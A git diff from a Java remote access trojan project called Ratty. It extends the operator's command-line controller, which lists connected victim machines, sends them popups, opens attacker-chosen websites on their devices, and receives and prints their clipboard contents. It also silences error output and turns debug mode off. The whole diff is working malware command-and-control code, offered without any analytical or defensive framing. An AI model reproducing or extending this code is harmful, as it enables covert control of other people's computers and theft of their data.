diff --git a/Ratty/res/language/lang.properties b/Ratty/res/language/lang.properties index ac70436..7a12641 100644 --- a/Ratty/res/language/lang.properties +++ b/Ratty/res/language/lang.properties @@ -39,6 +39,13 @@ LIST: Lists all connections\r\n\ EXIT: Well...\r\n\ FREE : Frees a client\r\n\ POPUP : Shows a popup on the client's device\r\n\ +WEBSITE : Opens a website on the client's device\r\n\ \r\n\ : Either a number (the index) or an IP address\r\n\ -: A string \ No newline at end of file +: A string +cmd.start=Ratty command line tool\r\n\ +Type 'HELP' to get a list of commands +cmd.invalid=Invalid command or parameters +cmd.empty_list=No client connected yet +cmd.connected=Client connected +cmd.disconnected=Client disconnected \ No newline at end of file diff --git a/Ratty/res/language/lang_de.properties b/Ratty/res/language/lang_de.properties index 257cde9..fda8edd 100644 --- a/Ratty/res/language/lang_de.properties +++ b/Ratty/res/language/lang_de.properties @@ -39,6 +39,13 @@ LIST: Gibt alle Verbindungen aus\r\n\ EXIT: Naja...\r\n\ FREE : Befreit den Client\r\n\ POPUP : Öffnet ein Popupfenster beim Client\r\n\ +WEBSITE : Öffnet eine Webseite beim Client\r\n\ \r\n\ : Entweder eine Nummer (der Index) oder eine IP-Adresse\r\n\ -: Eine Zeichenkette \ No newline at end of file +: Eine Zeichenkette +cmd.start=Ratty Kommandozeilen-Tool\r\n\ +Gib 'HELP' für eine Listen von Befehlen ein +cmd.invalid=Ungültiger Befehl oder Parameter +cmd.empty_list=Noch kein Client verbunden +cmd.connected=Client verbunden +cmd.disconnected=Client getrennt \ No newline at end of file diff --git a/Ratty/res/language/lang_en.properties b/Ratty/res/language/lang_en.properties index ac70436..7a12641 100644 --- a/Ratty/res/language/lang_en.properties +++ b/Ratty/res/language/lang_en.properties @@ -39,6 +39,13 @@ LIST: Lists all connections\r\n\ EXIT: Well...\r\n\ FREE : Frees a client\r\n\ POPUP : Shows a popup on the client's device\r\n\ +WEBSITE : Opens a website on the client's device\r\n\ \r\n\ : Either a number (the index) or an IP address\r\n\ -: A string \ No newline at end of file +: A string +cmd.start=Ratty command line tool\r\n\ +Type 'HELP' to get a list of commands +cmd.invalid=Invalid command or parameters +cmd.empty_list=No client connected yet +cmd.connected=Client connected +cmd.disconnected=Client disconnected \ No newline at end of file diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 5600c0d..d7727e6 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -25,7 +25,7 @@ import de.sogomn.rat.server.gui.RattyGuiController; */ public final class Ratty { - public static final boolean DEBUG = true; + public static final boolean DEBUG = false; public static final String VERSION = "1.3"; public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang"); @@ -104,12 +104,6 @@ public final class Ratty { } } - private static int getPortInput() { - final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION); - - return parsePort(input); - } - public static void connectToHost(final String address, final int port) { final ActiveConnection newClient = new ActiveConnection(address, port); final Trojan trojan = new Trojan(); @@ -175,7 +169,13 @@ public final class Ratty { System.out.println(PORT_ERROR_MESSAGE); } } else { - final int port = getPortInput(); + final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION); + + if (input == null) { + return; + } + + final int port = parsePort(input); if (port != -1) { startServer(port, true); diff --git a/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java b/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java index 7fefc3c..daecdc0 100644 --- a/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java +++ b/Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java @@ -3,7 +3,7 @@ package de.sogomn.rat.server.cmd; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; -import java.util.stream.Stream; +import java.util.ArrayList; import de.sogomn.engine.util.AbstractListenerContainer; @@ -12,8 +12,6 @@ public final class CommandLineReader extends AbstractListenerContainer arguments = new ArrayList(); + + boolean string = false; + + for (int i = 0; i < length; i++) { + final char c = line.charAt(i); + + if (c == STRING_LITERAL) { + string = !string; + } else if (c == ARGUMENT_SEPARATOR && !string) { + final String argument = currentArgument.toString(); + + arguments.add(argument); + currentArgument.setLength(0); + } else { + currentArgument.append(c); + } + } + + final String argument = currentArgument.toString(); + + arguments.add(argument); + + final String commandString = arguments.get(0); + final String[] argumentArray = arguments + .stream() .skip(1) - .filter(part -> part != null && !part.isEmpty()) + .filter(arg -> arg != null && !arg.isEmpty()) .toArray(String[]::new); - final Command command = new Command(commandString, arguments); + final Command command = new Command(commandString, argumentArray); return command; } diff --git a/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java b/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java index 2b0dc62..59e5905 100644 --- a/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java +++ b/Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java @@ -1,11 +1,19 @@ package de.sogomn.rat.server.cmd; +import static de.sogomn.rat.Ratty.LANGUAGE; + +import java.io.IOException; +import java.io.OutputStream; +import java.io.PrintStream; + import de.sogomn.rat.ActiveConnection; -import de.sogomn.rat.Ratty; +import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.FreePacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.PopupPacket; +import de.sogomn.rat.packet.WebsitePacket; import de.sogomn.rat.server.AbstractRattyController; +import de.sogomn.rat.server.ActiveServer; import de.sogomn.rat.server.cmd.CommandLineReader.Command; public final class RattyCmdController extends AbstractRattyController implements ICommandLineListener { @@ -17,12 +25,28 @@ public final class RattyCmdController extends AbstractRattyController implements private static final String LIST = "List"; private static final String POPUP = "Popup"; private static final String HELP = "Help"; + private static final String WEBSITE = "WEBSITE"; - private static final String HELP_STRING = Ratty.LANGUAGE.getString("cmd.help"); + private static final String START_MESSAGE = LANGUAGE.getString("cmd.start"); + private static final String HELP_MESSAGE = LANGUAGE.getString("cmd.help"); + private static final String INVALID_COMMAND = LANGUAGE.getString("cmd.invalid"); + private static final String EMPTY_LIST_MESSAGE = LANGUAGE.getString("cmd.empty_list"); + private static final String CLIENT_CONNECTED_MESSAGE = LANGUAGE.getString("cmd.connected"); + private static final String CLIENT_DISCONNECTED_MESSAGE = LANGUAGE.getString("cmd.disconnected"); public RattyCmdController() { reader = new CommandLineReader(); + System.setErr(new PrintStream(new OutputStream() { + @Override + public void write(final int b) throws IOException { + //... + } + })); + + System.out.println(START_MESSAGE); + System.out.println(); + reader.addListener(this); reader.start(); } @@ -84,11 +108,11 @@ public final class RattyCmdController extends AbstractRattyController implements /* * ================================================== - * HANDLING + * HANDLING COMMANDS * ================================================== */ - private void freeClient(final Command command) { + private boolean freeClient(final Command command) { final String input = command.argument(0); final ActiveConnection connection = getConnection(input); @@ -96,10 +120,18 @@ public final class RattyCmdController extends AbstractRattyController implements final FreePacket packet = new FreePacket(); connection.addPacket(packet); + + return true; } + + return false; } - private void listClients() { + private void listConnections() { + if (connections.isEmpty()) { + System.out.println(EMPTY_LIST_MESSAGE); + } + connections.stream().forEach(connection -> { final int index = connections.indexOf(connection); @@ -107,16 +139,48 @@ public final class RattyCmdController extends AbstractRattyController implements }); } - private void sendPopup(final Command command) { + private boolean sendPopup(final Command command) { final String connectionInput = command.argument(0); final ActiveConnection connection = getConnection(connectionInput); final String message = command.argument(1); if (connection != null && message != null) { - final PopupPacket packet = new PopupPacket(); + final PopupPacket packet = new PopupPacket(message); connection.addPacket(packet); + + return true; } + + return false; + } + + private boolean openWebsite(final Command command) { + final String connectionInput = command.argument(0); + final ActiveConnection connection = getConnection(connectionInput); + final String address = command.argument(1); + + if (connection != null && address != null) { + final WebsitePacket packet = new WebsitePacket(address); + + connection.addPacket(packet); + + return true; + } + + return false; + } + + /* + * ================================================== + * HANDLING PACKETS + * ================================================== + */ + + private void handleClipboardPacket(final ClipboardPacket packet) { + final String content = packet.getClipbordContent(); + + System.out.println(content); } /* @@ -127,22 +191,57 @@ public final class RattyCmdController extends AbstractRattyController implements @Override public void packetReceived(final ActiveConnection connection, final IPacket packet) { - //... + final Class clazz = packet.getClass(); + + if (clazz == ClipboardPacket.class) { + final ClipboardPacket clipboard = (ClipboardPacket)packet; + + handleClipboardPacket(clipboard); + } } @Override public void commandInput(final Command command) { + boolean successful = true; + if (command.equals(EXIT)) { System.exit(0); } else if (command.equals(FREE)) { - freeClient(command); + successful = freeClient(command); } else if (command.equals(LIST)) { - listClients(); + listConnections(); } else if (command.equals(POPUP)) { - sendPopup(command); + successful = sendPopup(command); } else if (command.equals(HELP)) { - System.out.println(HELP_STRING); + System.out.println(HELP_MESSAGE); + } else if (command.equals(WEBSITE)) { + successful = openWebsite(command); + } else { + successful = false; } + + if (!successful) { + System.out.println(INVALID_COMMAND); + + } + + System.out.println(); + } + + @Override + public void connected(final ActiveServer server, final ActiveConnection connection) { + super.connected(server, connection); + + System.out.println(CLIENT_CONNECTED_MESSAGE); + System.out.println(); + } + + @Override + public void disconnected(final ActiveConnection connection) { + super.disconnected(connection); + + System.out.println(CLIENT_DISCONNECTED_MESSAGE); + System.out.println(); } }